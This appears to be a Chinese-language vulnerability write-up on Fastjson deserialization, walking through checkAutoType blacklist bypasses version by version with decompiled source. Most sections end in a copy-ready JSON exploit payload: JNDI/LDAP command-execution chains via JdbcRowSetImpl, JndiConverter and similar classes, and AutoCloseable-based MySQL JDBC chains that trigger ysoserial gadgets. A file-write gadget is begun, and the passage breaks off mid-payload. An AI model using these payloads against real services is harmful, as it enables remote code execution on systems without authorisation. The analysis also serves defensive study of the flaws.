第一个JSON对象解析完毕,开始解析第二个JSON对象,重新进入checkAutoType(),因解析第一个JSON时已把 JdbcRowSetImpl 对象缓存到map中,故此处可直接获取到目标类。

1.2.25 <= Fastjson <= 1.2.32 未开启autoTypeSupport,可成功利用

image-20220909151611298

1.2.33 <= Fastjson <= 1.2.347 autoTypeSupport开启与否均可成功利用

checkAutoType源码修改,若autoTypeSupport为true,当目标类在黑名单中,需要目标类不在map中才会抛出异常

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
public Class<?> checkAutoType(String typeName, Class<?> expectClass) {
if (typeName == null) {
return null;
} else if (typeName.length() >= this.maxTypeNameLength) {
throw new JSONException("autoType is not support. " + typeName);
} else {
String className = typeName.replace('$', '.');
if (this.autoTypeSupport || expectClass != null) {
int i;
String deny;
for(i = 0; i < this.acceptList.length; ++i) {
deny = this.acceptList[i];
if (className.startsWith(deny)) {
return TypeUtils.loadClass(typeName, this.defaultClassLoader);
}
}

for(i = 0; i < this.denyList.length; ++i) {
deny = this.denyList[i];
//若目标类在黑名单中且不在map中才会抛出异常
if (className.startsWith(deny) && TypeUtils.getClassFromMapping(typeName) == null) {
throw new JSONException("autoType is not support. " + typeName);
}
}
}

Class<?> clazz = TypeUtils.getClassFromMapping(typeName);
if (clazz == null) {
clazz = this.deserializers.findClass(typeName);
}
if (clazz != null) {
if (expectClass != null && !expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
} else {
return clazz; //返回目标类
}
PAYLOAD
1
2
3
4
{
"A":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},
"B":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://127.0.0.1:1389/Basic/Command/calc","autoCommit":"true"}
}

3 Fastjson = 1.2.42

利用条件:

Fastjson <= 1.2.42 开启autoTypeSupport

利用链分析:

Fastjson1.2.42将黑名单由字符串直接比对改为了HashCode。checkAutoType()中在黑名单绕过的时候做了一个校验,如果类名以L开头,;结尾,则会用stubstring()去除类名前的第一个L,双写L即可绕过

image-20220909165153536

PAYLOAD
1
2
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);  //开启autoTypeSupport
{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"ldap://127.0.0.1:1389/Basic/Command/calc","autoCommit":true}

4 Fastjson = 1.2.43

利用条件:

Fastjson <= 1.2.43开启autoTypeSupport

利用链分析:

Fastjson <= 1.2.43,checkAutoType()对LL进行了判断,如果类以LL开头,抛出异常,但在TypeUtils.loadClass中,还对[进行了处理,因此又可以通过[来进行绕过

ParserConfig#checkAutoType()

1
2
3
4
5
6
7
if (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(className.length() - 1)) * 1099511628211L == 655701488918567152L) {
if (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(1)) * 1099511628211L == 655656408941810501L) {
throw new JSONException("autoType is not support. " + typeName);
}

className = className.substring(1, className.length() - 1);
}

TypeUtils#loadClass()

1
2
3
4
5
6
7
8
9
if (clazz != null) {
return clazz;
} else if (className.charAt(0) == '[') {
Class<?> componentType = loadClass(className.substring(1), classLoader);
return Array.newInstance(componentType, 0).getClass();
} else if (className.startsWith("L") && className.endsWith(";")) {
String newClassName = className.substring(1, className.length() - 1);
return loadClass(newClassName, classLoader);
}
PAYLOAD
1
2
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);  //开启autoTypeSupport
{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{,"dataSourceName":"ldap://127.0.0.1:1389/Basic/Command/calc","autoCommit":true}

5 Fastjson = 1.2.44

利用链分析:

Fastjson = 1.2.44修复了[的绕过,在checkAutoType中进行判断如果类名以[或L开头抛出异常。L[让绕过方法失效,可使用JSON内置payload

preload

PAYLOAD
1
2
3
4
{
"A":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},
"B":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://127.0.0.1:1389/Basic/Command/calc","autoCommit":"true"}
}

6 Fastjson = 1.2.47

利用条件:

1.2.25 <= Fastjson <= 1.2.32 未开启autoTypeSupport

1.2.33 <= Fastjson <= 1.2.32 autoTypeSupport开启或未开启均可利用

利用链分析:

利用链为上述1.2.25 <= Fastjson <= 1.2.41中PAYLOAD2利用链

PAYLOAD
1
2
3
4
{
"A":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},
"B":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://127.0.0.1:1389/Basic/Command/calc","autoCommit":"true"}
}

7 1.2.48 <= Fastjson <= 1.2.67

利用条件:

1.2.48 <= Fastjson <= 1.2.67

利用链分析:

Fastjson1.2.48修复JSON内置绕过方法,此版本内多为针对黑名单绕过,需要相应组件才可使用

PAYLOAD

fastjson <= 1.2.62黑名单绕过:

1
2
3
4
5
6
7
//依赖
// <dependency>
// <groupId>org.apache.xbean</groupId>
// <artifactId>xbean-reflect</artifactId>
// <version>x.x</version>
// </dependency>
{"@type":"org.apache.xbean.propertyeditor.JndiConverter","AsText":"ldap://127.0.0.1:1389/Basic/Command/calc"}";

fastjson <= 1.2.66黑名单绕过,需autoTypeSupport属性为true

1
2
3
4
5
6
7
{"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://127.0.0.1:1389/Basic/Command/calc"} 

{"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","metricRegistry":"ldap://127.0.0.1:1389/Basic/Command/calc"}

{"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup","jndiNames":"ldap://127.0.0.1:1389/Basic/Command/calc"}

{"@type":"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig","properties:{"@type":"java.util.Properties","UserTransaction":"ldap://127.0.0.1:1389/Basic/Command/calc"}}

8 Fastjson = 1.2.68

利用条件:

存在相应依赖

利用链分析:
1.checkAutoType

FastJSON1.2.68新引入safeMode,配置safeMode为true,黑白名单均不支持autoType,默认为false,不影响代码调用。经过源码分析,达到以下条件则可通过ParserConfig#checkAutoType()安全校验:

expectClass为空:

  1. typeNmae不在denyHashCodes黑名单中(必须条件)
  2. SafeMode为false(必要条件,默认为false)
  3. typeName在TypeUtils#mappings中且expectClass为空且typeName不为HashMap且不为expectClass子类

expectClass不为空:

  1. typeNmae和expectClass均不在denyHashCodes黑名单中(必须条件)
  2. autoTypeSupport为false(默认为false)
  3. expectClass在TypeUtils#mappings中
  4. typeName不是ClassLoader、DataSource、RowSet的子类
  5. expectClass不为null,且不为Object.class、Serializable.class、Cloneable.class、Closeable.class、EventListener.class、Iterable.class、Collection.class
  6. typeName是expectClass的子类

ParserConfig#checkAutoType()方法如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) {
if (typeName == null) {
return null;
} else {
if (this.autoTypeCheckHandlers != null) {//默认为空 不进入
Iterator var4 = this.autoTypeCheckHandlers.iterator();

while(var4.hasNext()) {
AutoTypeCheckHandler h = (AutoTypeCheckHandler)var4.next();
Class<?> type = h.handler(typeName, expectClass, features);
if (type != null) {
return type;
}
}
}
//1.2.68新引入safeMode,配置safeMode为true,黑白名单均不支持autoType,默认为false
int safeModeMask = Feature.SafeMode.mask;
boolean safeMode = this.safeMode || (features & safeModeMask) != 0 || (JSON.DEFAULT_PARSER_FEATURE & safeModeMask) != 0;
if (safeMode) {//默认不进入
throw new JSONException("safeMode not support autoType : " + typeName);
} else if (typeName.length() < 192 && typeName.length() >= 3) {
boolean expectClassFlag;
if (expectClass == null) {//expectClass为期望类,
expectClassFlag = false;
} else if (expectClass != Object.class && expectClass != Serializable.class && expectClass != Cloneable.class && expectClass != Closeable.class && expectClass != EventListener.class && expectClass != Iterable.class && expectClass != Collection.class) {//判断期望类是否为以上类
expectClassFlag = true;
} else {
expectClassFlag = false;
}

String className = typeName.replace('$', '.');
long BASIC = -3750763034362895579L;
long PRIME = 1099511628211L;
long h1 = (-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L;
if (h1 == -5808493101479473382L) {
throw new JSONException("autoType is not support. " + typeName);
} else if ((h1 ^ (long)className.charAt(className.length() - 1)) * 1099511628211L == 655701488918567152L) {
throw new JSONException("autoType is not support. " + typeName);
} else {
long h3 = (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(1)) * 1099511628211L ^ (long)className.charAt(2)) * 1099511628211L;
long fullHash = TypeUtils.fnv1a_64(className);
boolean internalWhite = Arrays.binarySearch(INTERNAL_WHITELIST_HASHCODES, fullHash) >= 0;
long hash;
int mask;
if (this.internalDenyHashCodes != null) {
hash = h3;

for(mask = 3; mask < className.length(); ++mask) {
hash ^= (long)className.charAt(mask);
hash *= 1099511628211L;
if (Arrays.binarySearch(this.internalDenyHashCodes, hash) >= 0) {
throw new JSONException("autoType is not support. " + typeName);
}
}
}

Class clazz;
//!internalWhite不为true autoTypeSupport或expectClassFlag为true则进入
if (!internalWhite && (this.autoTypeSupport || expectClassFlag)) {
hash = h3;

for(mask = 3; mask < className.length(); ++mask) {
hash ^= (long)className.charAt(mask);
hash *= 1099511628211L;
if (Arrays.binarySearch(this.acceptHashCodes, hash) >= 0) {
clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader, true);
if (clazz != null) {
return clazz;
}
}

if (Arrays.binarySearch(this.denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null && Arrays.binarySearch(this.acceptHashCodes, fullHash) < 0) {
throw new JSONException("autoType is not support. " + typeName);
}
}
}
//从map中获取类
clazz = TypeUtils.getClassFromMapping(typeName);
if (clazz == null) {
clazz = this.deserializers.findClass(typeName);
}

if (clazz == null) {
clazz = (Class)this.typeMapping.get(typeName);
}
//若在内部白名单中则加载类
if (internalWhite) {
clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader, true);
}

if (clazz != null) {
//判断clazz不为HashMap且不为expectClass继承类,则返回类
if (expectClass != null && clazz != HashMap.class && !expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
} else {
return clazz;
}
} else {
if (!this.autoTypeSupport) {//autoTypeSupport为false进入
hash = h3;

for(mask = 3; mask < className.length(); ++mask) {
char c = className.charAt(mask);
hash ^= (long)c;
hash *= 1099511628211L;
//若在黑名单中报错
if (Arrays.binarySearch(this.denyHashCodes, hash) >= 0) {
throw new JSONException("autoType is not support. " + typeName);
}
//若在白名单中且为期望类则返回类
if (Arrays.binarySearch(this.acceptHashCodes, hash) >= 0) {
clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader, true);
if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}

return clazz;
}
}
}

boolean jsonType = false;
InputStream is = null;
//判断使用注解JSONType的类
try {
String resource = typeName.replace('.', '/') + ".class";
if (this.defaultClassLoader != null) {
is = this.defaultClassLoader.getResourceAsStream(resource);
} else {
is = ParserConfig.class.getClassLoader().getResourceAsStream(resource);
}

if (is != null) {
ClassReader classReader = new ClassReader(is, true);
TypeCollector visitor = new TypeCollector("<clinit>", new Class[0]);
classReader.accept(visitor);
jsonType = visitor.hasJsonType();
}
} catch (Exception var28) {
} finally {
IOUtils.close(is);
}

mask = Feature.SupportAutoType.mask;
boolean autoTypeSupport = this.autoTypeSupport || (features & mask) != 0 || (JSON.DEFAULT_PARSER_FEATURE & mask) != 0;
//若autoTypeSupport(开启autoType) jsonType(使用JSONType注解) expectClassFlag(有期望类且期望类符合条件) 其中有一个为true则进入
if (autoTypeSupport || jsonType || expectClassFlag) {
boolean cacheClass = autoTypeSupport || jsonType;//cacheClass 此处为false
//classLoader不开启缓存加载类
clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader, cacheClass);
}

if (clazz != null) {//clazz 不为空进入
if (jsonType) {//若jsonType为true则在map中添加类,后返回类
TypeUtils.addMapping(typeName, clazz);
return clazz;
}

//若类为ClassLoader、DataSource、RowSet子类则抛出异常
if (ClassLoader.class.isAssignableFrom(clazz) || DataSource.class.isAssignableFrom(clazz) || RowSet.class.isAssignableFrom(clazz)) {
throw new JSONException("autoType is not support. " + typeName);
}

//若期望类不为空且目标类为期望类子类则在map中添加类后返回类
if (expectClass != null) {
if (expectClass.isAssignableFrom(clazz)) {
TypeUtils.addMapping(typeName, clazz);
return clazz;
}

throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}

JavaBeanInfo beanInfo = JavaBeanInfo.build(clazz, clazz, this.propertyNamingStrategy);
if (beanInfo.creatorConstructor != null && autoTypeSupport) {
throw new JSONException("autoType is not support. " + typeName);
}
}

if (!autoTypeSupport) { //autoTypeSupport为false抛出异常
throw new JSONException("autoType is not support. " + typeName);
} else {
if (clazz != null) {//autoTypeSupport为true则在map中添加类后返回类
TypeUtils.addMapping(typeName, clazz);
}

return clazz;
}
}
}
} else {
throw new JSONException("autoType is not support. " + typeName);
}
}
}

当第一次进行checkAutoType()校验,传入expectClass为空,通过查找发现以下位置调用checkAutoType()

image-20220914163303120

其中JavaBeanDeserializer#deserialze()和ThrowableDeserializer#deserialze()中调用的checkAutoType()均传入expectClass。JavaBeanDeserializer为默认反序列化器,ThrowableDeserializer为针对异常类的反序列化器

2.JavaBeanDeserializer

第一次通过checkAutoType()检测后运行至

1
ObjectDeserializer deserializer = config.getDeserializer(clazz);

调用至ParserConfig#getDeserializer(),根据typeName获取对应反序列化器

image-20220915101030775

最后调用至return new JavaBeanDeserializer(this, clazz, type);创建JavaBeanDeserializer 对象

image-20220915102116512

获取反序列化器后运行相应反序列化器deserialze(this, clazz, fieldName)方法,deserializer为不同的反序列化器。

1
Object obj = deserializer.deserialze(this, clazz, fieldName);

当调用JavaBeanDeserializer#deserialze(),type为clazz类全名

image-20220914173452845

获取第二个@type值为typeName

image-20220914174838376

将JSON串中第一个@type值为expectClass,第二个@type值为typeName进程checkAutoType()校验,若符合上述条件则可通过校验

image-20220914173711736

通过校验后再次进行反序列化,进一步执行目标类set方法,从而执行恶意gadget

image-20220915113231225

3.ThrowableDeserializer

与之前调用链相同,到达ThrowableDeserializer#deserialze() 前,对第一个@type指定的类进行了ParserConfig#checkAutoType()校验。若通过校验则进入到ThrowableDeserializer#deserialze(),词法分析器将继续遍历JSON字符串剩余的部分,如果下一个仍为@type,则将第二个@type值作为将校验类名称typeNmae,Throwable.class作为期望类expectClass,一同传入ParserConfig#checkAutoType()进行校验

image-20220915145950238

通过校验后将再次进行反序列化,进一步执行目标类set方法,从而执行恶意gadget

image-20220915150716972

故若需通过ThrowableDeserializer反序列化目标类,通过两次checkAutoType()校验,则需:

  1. 第一个@type类为Throwable子类且在TypeUtils#mappings中
  2. 第二个@type类为Throwable子类

因Throwable不在TypeUtils#mappings中,故可使用Throwable子类java.lang.Exception

PAYLOAD
Gadget 1:命令执行

依赖:

1
2
3
4
5
<dependency>
<groupId>mysql</groupId>
<artifactId>mysql-connector-java</artifactId>
<version>x.x.xx</version>
</dependency>

MySQL JDBC 反序列化链:

ServerStatusDiffInterceptor链

  • 5.1.0-5.1.10:jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_JRE8u20_calc 连接后需执行查询
  • 5.1.11-5.x.xx:jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_JRE8u20_calc
  • 6.x:jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_JRE8u20_calc (包名中添加cj)
  • 8.0.20以下:jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_JRE8u20_calc

detectCustomCollations链

  • 5.1.19-5.1.28:jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&user=yso_JRE8u20_calc
  • 5.1.29-5.1.40:jdbc:mysql://127.0.0.1:3306/test?detectCustomCollations=true&autoDeserialize=true&user=yso_JRE8u20_calc
  • 5.1.41 以上 不可用

利用链简单分析:

1
2
**queryInterceptors:**一个逗号分割的Class列表(实现了com.mysql.cj.interceptors.QueryInterceptor接口的Class),在Query"之间"进行执行来影响结果。(效果上来看是在Query执行前后各插入一次操作)
**autoDeserialize:**自动检测与反序列化存在BLOB字段中的对象。

detectCustomCollations链:

com.mysql.jdbc.ConnectionImpl#buildCollationMapping()方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
private void buildCollationMapping() throws SQLException {
...


if (indexToCharset == null) {
indexToCharset = new HashMap();
//判断服务版本大于4.1.0且detectCustomCollations为true则进入
//5.1.28此处判断条件只有服务版本大于4.1.0
if (this.versionMeetsMinimum(4, 1, 0) && this.getDetectCustomCollations()) {
java.sql.Statement stmt = null;
ResultSet results = null;

try {
sortedCollationMap = new TreeMap();
customCharset = new HashMap();
customMblen = new HashMap();
stmt = this.getMetadataSafeStatement();

try {
//执行"SHOW COLLATION" SQL语句
results = stmt.executeQuery("SHOW COLLATION");
//若服务版本大于5.0.0进入
if (this.versionMeetsMinimum(5, 0, 0)) {
//调用com.mysql.jdbc.Util#resultSetToMap()方法
Util.resultSetToMap(sortedCollationMap, results, 3, 2);
} else {
while(results.next()) {
sortedCollationMap.put(results.getLong(3), results.getString(2));
}
}

com.mysql.jdbc.Util#resultSetToMap()方法

1
2
3
4
5
6
7
public static void resultSetToMap(Map mappedValues, ResultSet rs, int key, int value) throws SQLException {
while(rs.next()) {
//调用ResultSetImpl#getObject()方法
mappedValues.put(rs.getObject(key), rs.getObject(value));
}

}

ResultSetImpl#getObject()方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
public Object getObject(int columnIndex) throws SQLException {
this.checkRowPos();
this.checkColumnBounds(columnIndex);
int columnIndexMinusOne = columnIndex - 1;
if (this.thisRow.isNull(columnIndexMinusOne)) {
this.wasNullFlag = true;
return null;
} else {
this.wasNullFlag = false;
Field field = this.fields[columnIndexMinusOne];
String stringVal;
switch (field.getSQLType()) {
case -7:
if (field.getMysqlType() == 16 && !field.isSingleBit()) {
return this.getObjectDeserializingIfNeeded(columnIndex);
}

return this.getBoolean(columnIndex);
case -6:
if (!field.isUnsigned()) {
return Integer.valueOf(this.getByte(columnIndex));
}

return this.getInt(columnIndex);
......
case -2:
if (field.getMysqlType() == 255) {
return this.getBytes(columnIndex);
}

return this.getObjectDeserializingIfNeeded(columnIndex);
......

ResultSetImpl#getObject()方法

  • <8.0.20: jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_JRE8u20_calc
  • 6.x(属性名不同): jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_JRE8u20_calc
  • 5.1.11及以上的5.x版本(包名没有了cj): jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_JRE8u20_calc
    detectCustomCollations触发:
    5.1.41及以上: 不可用
    5.1.29-5.1.40: jdbc:mysql://127.0.0.1:3306/test?detectCustomCollations=true&autoDeserialize=true&user=yso_JRE8u20_calc
    5.1.28-5.1.19: jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&user=yso_JRE8u20_calc
    5.1.18以下的5.1.x版本: 不可用
    5.0.x版本不可用
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
private Object getObjectDeserializingIfNeeded(int columnIndex) throws SQLException {
Field field = this.fields[columnIndex - 1];
if (!field.isBinary() && !field.isBlob()) {
return this.getBytes(columnIndex);
} else {
//field.isBinary() && field.isBlob()进入
byte[] data = this.getBytes(columnIndex);
if (!this.connection.getAutoDeserialize()) {
return data;
} else {
Object obj = data;
if (data != null && data.length >= 2) {
//data[0] != -84 || data[1] != -19 则表明data不为java类序列化后字节码
if (data[0] != -84 || data[1] != -19) {
return this.getString(columnIndex);
}
//为java序列号字节码则进行反序列化
try {
ByteArrayInputStream bytesIn = new ByteArrayInputStream(data);
ObjectInputStream objIn = new ObjectInputStream(bytesIn);
obj = objIn.readObject();
objIn.close();
bytesIn.close();
} catch (ClassNotFoundException var7) {
throw SQLError.createSQLException(Messages.getString("ResultSet.Class_not_found___91") + var7.toString() + Messages.getString("ResultSet._while_reading_serialized_object_92"), this.getExceptionInterceptor());
} catch (IOException var8) {
obj = data;
}
}

return obj;
}
}
}

5.1.41版本后,不再使用getObject()获取”SHOW COLLATION”的结果,此链失效

image-20220916154732110

ServerStatusDiffInterceptor链:

ServerStatusDiffInterceptor是一个拦截器,在JDBC URL中设置属性queryInterceptors为ServerStatusDiffInterceptor时,执行查询语句会调用拦截器的 preProcess 和 postProcess 方法,进而调用 getObject () 方法。

ServerStatusDiffInterceptor#postProcess()方法和populateMapWithSessionStatusValues()方法如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
//执行查询语句自动执行此方法
public ResultSetInternalMethods postProcess(String sql, Statement interceptedStatement, ResultSetInternalMethods originalResultSet, Connection connection) throws SQLException {
if (connection.versionMeetsMinimum(5, 0, 2)) {
this.populateMapWithSessionStatusValues(connection, this.postExecuteValues);
connection.getLog().logInfo("Server status change for statement:\n" + Util.calculateDifferences(this.preExecuteValues, this.postExecuteValues));
}

return null;
}

//执行postProcess()进而执行populateMapWithSessionStatusValues()
private void populateMapWithSessionStatusValues(Connection connection, Map<String, String> toPopulate) throws SQLException {
java.sql.Statement stmt = null;
ResultSet rs = null;

try {
toPopulate.clear();
stmt = connection.createStatement();
rs = stmt.executeQuery("SHOW SESSION STATUS");
Util.resultSetToMap(toPopulate, rs);
} finally {
if (rs != null) {
rs.close();
}

if (stmt != null) {
stmt.close();
}

}

}

com.mysql.jdbc.Util#resultSetToMap()方法

1
2
3
4
5
6
public static void resultSetToMap(Map mappedValues, ResultSet rs) throws SQLException {
while(rs.next()) {
mappedValues.put(rs.getObject(1), rs.getObject(2));
}

}

执行rs.getObject()后执行逻辑与detectCustomCollations链中getObject()执行逻辑相同,进行反序列化

FastJSON-JDBC调用链

如上所述当 JSON串为 {“@type”:”java.lang.AutoCloseable”, “@type”: “com.mysql.jdbc.JDBC4Connection”}会调用至com.mysql.jdbc.JDBC4Connection的构造方法

1
2
3
public JDBC4Connection(String hostToConnectTo, int portToConnectTo, Properties info, String databaseToConnectTo, String url) throws SQLException {
super(hostToConnectTo, portToConnectTo, info, databaseToConnectTo, url);
}

进而调用com.mysql.jdbc.ConnectionImpl#ConnectionImpl(String hostToConnectTo, int portToConnectTo, Properties info, String databaseToConnectTo, String url)构造方法中this.createNewIO(false);

1
2
3
4
5
try {
this.dbmd = this.getMetaData(false, false);
this.initializeSafeStatementInterceptors();
this.createNewIO(false);
this.unSafeStatementInterceptors();

com.mysql.jdbc.ConnectionImpl#createNewIO(boolean isForReconnect)

1
2
3
4
5
6
7
8
9
10
public void createNewIO(boolean isForReconnect) throws SQLException {
synchronized(this.getConnectionMutex()) {
Properties mergedProps = this.exposeAsProperties(this.props);
if (!this.getHighAvailability()) {
this.connectOneTryOnly(isForReconnect, mergedProps);
} else {
this.connectWithRetries(isForReconnect, mergedProps);
}
}
}

调用至ConnectionImpl#connectOneTryOnly()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
private void connectOneTryOnly(boolean isForReconnect, Properties mergedProps) throws SQLException {
Exception connectionNotEstablishedBecause = null;

try {
this.coreConnect(mergedProps);
this.connectionId = this.io.getThreadId();
this.isClosed = false;
boolean oldAutoCommit = this.getAutoCommit();
int oldIsolationLevel = this.isolationLevel;
boolean oldReadOnly = this.isReadOnly(false);
String oldCatalog = this.getCatalog();
this.io.setStatementInterceptors(this.statementInterceptors);
this.initializePropsFromServer();
if (isForReconnect) {
this.setAutoCommit(oldAutoCommit);
if (this.hasIsolationLevels) {
this.setTransactionIsolation(oldIsolationLevel);
}

this.setCatalog(oldCatalog);
this.setReadOnly(oldReadOnly);
}

} catch (Exception var8) {
if (!(var8 instanceof SQLException) || ((SQLException)var8).getErrorCode() != 1820 || this.getDisconnectOnExpiredPasswords()) {
if (this.io != null) {
this.io.forceClose();
}

if (var8 instanceof SQLException) {
throw (SQLException)var8;
} else {
SQLException chainedEx = SQLError.createSQLException(Messages.getString("Connection.UnableToConnect"), "08001", this.getExceptionInterceptor());
chainedEx.initCause(var8);
throw chainedEx;
}
}
}
}

调用至ConnectionImpl#initializePropsFromServer()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
private void initializePropsFromServer() throws SQLException {
String connectionInterceptorClasses = this.getConnectionLifecycleInterceptors();
this.connectionLifecycleInterceptors = null;
if (connectionInterceptorClasses != null) {
this.connectionLifecycleInterceptors = Util.loadExtensions(this, this.props, connectionInterceptorClasses, "Connection.badLifecycleInterceptor", this.getExceptionInterceptor());
}

this.setSessionVariables();
if (!this.versionMeetsMinimum(4, 1, 0)) {
this.setTransformedBitIsBoolean(false);
}

this.parserKnowsUnicode = this.versionMeetsMinimum(4, 1, 0);
if (this.getUseServerPreparedStmts() && this.versionMeetsMinimum(4, 1, 0)) {
this.useServerPreparedStmts = true;
if (this.versionMeetsMinimum(5, 0, 0) && !this.versionMeetsMinimum(5, 0, 3)) {
this.useServerPreparedStmts = false;
}
}

String characterSetResultsOnServerMysql;
String sqlModeAsString;
if (this.versionMeetsMinimum(3, 21, 22)) {
this.loadServerVariables();
if (this.versionMeetsMinimum(5, 0, 2)) {
this.autoIncrementIncrement = this.getServerVariableAsInt("auto_increment_increment", 1);
} else {
this.autoIncrementIncrement = 1;
}

this.buildCollationMapping();
int i;
……

调用至ConnectionImpl#buildCollationMapping()

image-20220920161458418

最后调用至ResultSetImpl#getObject(),后进行反序列化造成代码执行。

payload 5.1.11-5.1.48

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
{
"@type":"java.lang.AutoCloseable",
"@type": "com.mysql.jdbc.JDBC4Connection",
"hostToConnectTo": "127.0.0.1",
"portToConnectTo": 3306,
"info":
{
"user": "CommonsCollections5", // 利用链
"password": "pass",
"statementInterceptors": "com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor",
"autoDeserialize": "true",
"NUM_HOSTS": "1"
},
"databaseToConnectTo": "dbname",
"url": ""
}

image-20220920152603206

payload 6.0.2/6.0.3

1
2
3
4
5
6
7
8
9
{
"@type":"java.lang.AutoCloseable",
"@type":"com.mysql.cj.jdbc.ha.LoadBalancedMySQLConnection",
"proxy": {
"connectionString":{
"url":"jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_CommonsCollections4_calc"
}
}
}

com.mysql.cj.jdbc.ha.LoadBalancedMySQLConnection构造方法如下:

1
2
3
public LoadBalancedMySQLConnection(LoadBalancedConnectionProxy proxy) {
super(proxy);
}

LoadBalancedConnectionProxy构造方法如下:

1
2
3
4
public LoadBalancedConnectionProxy(ConnectionString connectionString) throws SQLException {
......
this.pickNewConnection();
}

然后用pickNewConnection()建立连接,最终造成反序列化

6.0.4中构造方法改变,此利用链无法使用

payload 8.0.19

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
{
"@type":"java.lang.AutoCloseable",
"@type":"com.mysql.cj.jdbc.ha.ReplicationMySQLConnection",
"proxy": {
"@type":"com.mysql.cj.jdbc.ha.LoadBalancedConnectionProxy",
"connectionUrl":{
"@type":"com.mysql.cj.conf.url.ReplicationConnectionUrl",
"masters":[{
"host":""
}],
"slaves":[],
"properties":{
"host":"127.0.0.1",
"user":"yso_CommonsCollections4_calc",
"dbname":"dbname",
"password":"pass",
"queryInterceptors":"com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor",
"autoDeserialize":"true"
}
}
}
}
Gadget2:文件写入读取

payload如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
{
"abc": {
"@type": "java.lang.AutoCloseable",
"@type": "org.apache.commons.io.input.BOMInputStream",
"delegate": {
"@type": "org.apache.commons.io.input.ReaderInputStream",
"reader": {
